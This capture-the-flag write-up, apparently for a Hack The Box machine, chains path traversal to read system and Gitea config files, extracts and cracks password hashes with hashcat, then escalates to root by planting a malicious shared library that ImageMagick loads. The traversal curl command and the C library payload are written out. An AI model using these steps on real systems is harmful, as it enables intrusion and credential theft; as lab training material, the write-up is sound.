Nmap Scan#

Website Enumeration#

While exploring the website, I found a Book Your Trip button that triggers a form submission.

After filling out the form and intercepting the request with BurpSuite, I followed the redirection and discovered an endpoint vulnerable to Path Trasversal: /download?ticket=.

Path Traversal Exploit#

By attempting reading /etc/passwd, I found a user named developer and retrieved the user flag from:

1
/home/developer/user.txt

Subdomain Discovery#

I continued testing path traversal to access system files like /etc/hosts. I discovered a subdomain named dev.

I added the subdomain to my /etc/hosts file

Exploiting Gitea for Credentials#

The server was running Gitea in the dev subdomain. I started enumerating for its configuration file, and I found it:

1
curl -X GET "http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini"

By analyzing the configuration, I located the database at:

1
/data/gitea/gitea.db

accessed it using SQLite:

1
sqlite3 _home_developer_gitea_data_gitea_gitea.db

Cracking the Hash#

By default, Gitea uses PBKDF2-HMAC-SHA256 with a high iteration count for password hashing. It stores the salt and password hash as hex-encoded values in separate columns within the database. However, Hashcat requires a single string with base64-encoded segments for cracking.

So, I created a script that extracts user hashes from a Gitea SQLite database and converts them into a Hashcat-compatible format you can explore it here Gitea2Hashcat.

1
hashcat gitea.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user

and I retre=ived the password

SSH Access#

Using the cracked password, I logged into the machine via SSH:

1
ssh developer@10.10.11.55

Privilege Escalation#

While exploring the system, I found a script running as root at /opt/scripts:

The script used an ImageMagick version vulnerable to Arbitrary Code Execution. A quick Google search led me to this PoC:

Arbitrary Code Execution in AppImage version ImageMagick

1
gcc -x c -shared -fPIC -o /opt/app/static/assets/images/libxcb.so.1 - << EOF
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <unistd.h>
5

6
__attribute__((constructor)) void init(){
7
    system("cat /root/root.txt > /tmp/root44_flag.txt");
8
    exit(0);
9
}
10
EOF
11

12
touch test.jpg

Retrieving the Root Flag#

After triggering the exploit, I retrieved the root flag from /tmp/root44_flag.txt.